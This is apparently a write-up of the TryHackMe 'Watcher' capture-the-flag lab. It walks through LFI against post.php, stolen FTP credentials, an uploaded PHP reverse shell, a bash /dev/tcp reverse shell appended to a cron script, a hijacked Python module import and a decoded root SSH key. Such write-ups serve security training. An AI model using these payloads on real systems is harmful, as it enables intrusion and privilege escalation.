THM: Watcher
Intro⌗
THM: Watcher is a boot to root that’s broken down into a series of several mini flags. We’ll start with exploiting an LFI vulnerability to leak credentials for FTP, and then we will upload a shell and launch it with the LFI. Once on the box we’ll privesc through a series of low privilege users before ultimately getting root. This box doesn’t require any advanced techniques, just lots of enumeration.
Recon⌗
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ sudo rustscan -a 10.10.110.123 -- -sV -O -oA nmap1
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 28.514 days (since Mon Jul 11 07:53:40 2022)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
On port 80 we have a website that’s a blog about cork-based placemats.
Flag 1⌗
Clicking into any one of the blog posts we can see there is a post.php
page that is likely loading content from other files, since there is a filename passed as a query parameter: post.php?post=round.php
Right off the bat we can test for LFI here by replacing round.php
with /etc/passwd
.
And we do indeed have LFI!
Let’s keep enumerating. We can check for a /robots.txt
and find this:
User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
And we’ve found flag 1.
Flag 2⌗
We do not have permission to read the other text file, but we can get around that by using the LFI.
Hi Mat, The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files. Will ---------- ftpuser:REDACTED
So using the creds we’ve found we can access the FTP service and grab flag 2.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ ftp -v 10.10.110.123
Connected to 10.10.110.123.
220 (vsFTPd 3.0.3)
Name (10.10.110.123:brian): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Dec 03 2020 files
-rw-r--r-- 1 0 0 21 Dec 03 2020 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt -
remote: flag_2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
FLAG{REDACTED}
226 Transfer complete.
21 bytes received in 0.00 secs (17.1041 kB/s)
Getting a Shell⌗
From the directory listing we saw that files
is writable by user with id 1001. If we look back at the /etc/passwd
output from earlier, we’ll see that id belongs to ftpuser
who we are currently logged into the FTP service with.
Now we have enough information and access to work on a shell!
First let’s echo '<?php phpinfo(); ?>' > info.php
and then upload that to the files
directory via FTP. This will give us POC for code execution.
Sweet! Now we can upload a shell.
(I’m using /usr/share/webshells/php/php-reverse-shell.php
in Kali — if you’re following along, make a copy of this file and modify the IP and port to match your listener.)
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.110.123] 54662
Linux watcher 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
01:05:47 up 54 min, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@watcher:/$ ^Z
[1]+ Stopped nc -nlvp 9001
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ stty raw -echo; fg
nc -nlvp 9001
www-data@watcher:/$
www-data@watcher:/$ export TERM=xterm
www-data@watcher:/$ stty rows 56 columns 109
Flag 3⌗
We’re in! Let’s search for flag_3.txt
.
www-data@watcher:/home/ftpuser/ftp$ find / -name 'flag_3.txt' 2>/dev/null
/var/www/html/more_secrets_a9f10a/flag_3.txt
www-data@watcher:/home/ftpuser/ftp$ cd /var/www/html/more_secrets_a9f10a/
www-data@watcher:/var/www/html/more_secrets_a9f10a$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Dec 3 2020 .
drwxr-xr-x 5 root root 4096 Dec 3 2020 ..
-rw-r--r-- 1 root root 21 Dec 3 2020 flag_3.txt
www-data@watcher:/var/www/html/more_secrets_a9f10a$ wc -c flag_3.txt
21 flag_3.txt
Flag 4⌗
With a little exploring users' home directories we’ll find flag_4.txt
in /home/toby
, but we don’t have permission to read it.
www-data@watcher:/home/toby$ ls -la
total 44
drwxr-xr-x 6 toby toby 4096 Dec 12 2020 .
drwxr-xr-x 6 root root 4096 Dec 3 2020 ..
lrwxrwxrwx 1 root root 9 Dec 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 toby toby 220 Dec 3 2020 .bash_logout
-rw-r--r-- 1 toby toby 3771 Dec 3 2020 .bashrc
drwx------ 2 toby toby 4096 Dec 3 2020 .cache
drwx------ 3 toby toby 4096 Dec 3 2020 .gnupg
drwxrwxr-x 3 toby toby 4096 Dec 3 2020 .local
-rw-r--r-- 1 toby toby 807 Dec 3 2020 .profile
-rw------- 1 toby toby 21 Dec 3 2020 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec 3 2020 jobs
-rw-r--r-- 1 mat mat 89 Dec 12 2020 note.txt
www-data@watcher:/home/toby$ cat note.txt
Hi Toby,
I've got the cron jobs set up now so don't worry about getting that done.
Mat
There’s also a note.txt
hinting at a cronjob so let’s see.
www-data@watcher:/home/toby$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * mat /home/toby/jobs/cow.sh
Indeed, mat is executing /home/toby/jobs/cow.sh
every minute.
www-data@watcher:/home/toby$ ls -la /home/toby/jobs/
total 12
drwxrwxr-x 2 toby toby 4096 Dec 3 2020 .
drwxr-xr-x 6 toby toby 4096 Dec 12 2020 ..
-rwxr-xr-x 1 toby toby 46 Dec 3 2020 cow.sh
www-data@watcher:/home/toby$ cat /home/toby/jobs/cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg
Now what? We haven’t checked for sudo privileges…
www-data@watcher:/home/toby/jobs$ sudo -l
Matching Defaults entries for www-data on watcher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on watcher:
(toby) NOPASSWD: ALL
We can run any command as toby with no password! So a simple sudo -u toby /bin/bash
will give us a shell as toby.
www-data@watcher:/home/toby/jobs$ sudo -u toby /bin/bash
toby@watcher:~/jobs$ id
uid=1003(toby) gid=1003(toby) groups=1003(toby)
Now we can grab flag 4 from toby’s home directory.
toby@watcher:~/jobs$ cd ~
toby@watcher:~$ ls -la
total 44
drwxr-xr-x 6 toby toby 4096 Dec 12 2020 .
drwxr-xr-x 6 root root 4096 Dec 3 2020 ..
lrwxrwxrwx 1 root root 9 Dec 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 toby toby 220 Dec 3 2020 .bash_logout
-rw-r--r-- 1 toby toby 3771 Dec 3 2020 .bashrc
drwx------ 2 toby toby 4096 Dec 3 2020 .cache
drwx------ 3 toby toby 4096 Dec 3 2020 .gnupg
drwxrwxr-x 3 toby toby 4096 Dec 3 2020 .local
-rw-r--r-- 1 toby toby 807 Dec 3 2020 .profile
-rw------- 1 toby toby 21 Dec 3 2020 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec 3 2020 jobs
-rw-r--r-- 1 mat mat 89 Dec 12 2020 note.txt
toby@watcher:~$ wc -c flag_4.txt
21 flag_4.txt
Flag 5⌗
The 5th flag is in mat’s home directory and only they can read it.
We know that Mat is running the cow.sh
script as a cronjob, and since Toby owns that file we can add some code to send ourselves another reverse shell. Only this time it’ll be a shell for Mat’s user since the cron process runs as him.
echo '/bin/bash -i >& /dev/tcp/10.13.17.127/9001 0>&1' >> cow.sh
In a new terminal window we can start a listener and catch the shell!
┌──(brian㉿kali)-[~]
└─$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.237.172] 44242
bash: cannot set terminal process group (1864): Inappropriate ioctl for device
bash: no job control in this shell
mat@watcher:~$ id
id
uid=1002(mat) gid=1002(mat) groups=1002(mat)
And now we can grab flag 5!
mat@watcher:~$ wc -c flag_5.txt
37 flag_5.txt
Flag 6⌗
In Mat’s home directory is a note from Will.
mat@watcher:~$ cat note.txt
Hi Mat,
I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.
Will
We can run sudo -l
to see which script Will is referring to.
mat@watcher:~$ sudo -l
Matching Defaults entries for mat on watcher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mat may run the following commands on watcher:
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *
We can’t write to will_script.py
as Mat, but we can read it.
import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
print("Invalid command!")
exit()
os.system(cmd)
It’s sort of a mini shell that only allows a few commands. However, it is importing the get_command()
function from another python module, cmd.py
. This file is owned by mat, so we can add malicious code to get a shell as will.
All we need to do is modify the file to import the os
module, and use that in the get_command()
function to open a shell.
import os
def get_command(num):
os.system("/bin/bash -p")
if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"
Now we can run the script as will via sudo to get a new shell and capture the 6th flag!
mat@watcher:~/scripts$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~/scripts$ id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)
will@watcher:~$ cd /home/will
will@watcher:/home/will$ wc -c flag_6.txt
41 flag_6.txt
Flag 7⌗
For privesc to root, it’s import to recall that will is part of the admin group.
While walking the box we’ve found an interesting file named key.b64
that’s owned by root and is part of the adm
group.
will@watcher:/opt/backups$ ls -la
total 12
drwxrwx--- 2 root adm 4096 Dec 3 2020 .
drwxr-xr-x 3 root root 4096 Dec 3 2020 ..
-rw-rw---- 1 root adm 2270 Dec 3 2020 key.b64
We can decode it to reveal a private key!
will@watcher:/opt/backups$ cat key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzPaQFolQq8cHom9mssyPZ53aLzBcRyBw+rysJ3h0JCxnV+aG
opZdcQz01YOYdjYIaZEJmdcPVWQp/L0uc5u3igoiK1uiYMfw850N7t3OX/erdKF4
jqVu3iXN9doBmr3TuU9RJkVnDDuo8y4DtIuFCf92ZfEAJGUB2+vFON7q4KJsIxgA
...REDACTED...
mEGDGwKBgQCh+UpmTTRx4KKNy6wJkwGv2uRdj9rta2X5pzTq2nEApke2UYlP5OLh
/6KHTLRhcp9FmF9iKWDtEMSQ8DCan5ZMJ7OIYp2RZ1RzC9Dug3qkttkOKAbccKn5
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----
Could this be root’s SSH key? Let’s find out.
We can copy the key and past it to a new file locally and see if it works.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ chmod 400 key 1 ⨯
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Watcher]
└─$ ssh -i key root@10.10.237.172
The authenticity of host '10.10.237.172 (10.10.237.172)' can't be established.
ECDSA key fingerprint is SHA256:vBeZlR+cak5J2WqxAI9JKbnLjRAbdRGnKxuFjLqsfz4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.237.172' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Aug 9 14:04:50 UTC 2022
System load: 0.0 Processes: 121
Usage of /: 22.5% of 18.57GB Users logged in: 0
Memory usage: 36% IP address for eth0: 10.10.237.172
Swap usage: 0% IP address for lxdbr0: 10.14.179.1
33 packages can be updated.
0 updates are security updates.
Last login: Thu Dec 3 03:25:38 2020
root@watcher:~# id
uid=0(root) gid=0(root) groups=0(root)
root@watcher:~# pwd
/root
root@watcher:~# wc -c flag_7.txt
31 flag_7.txt
✅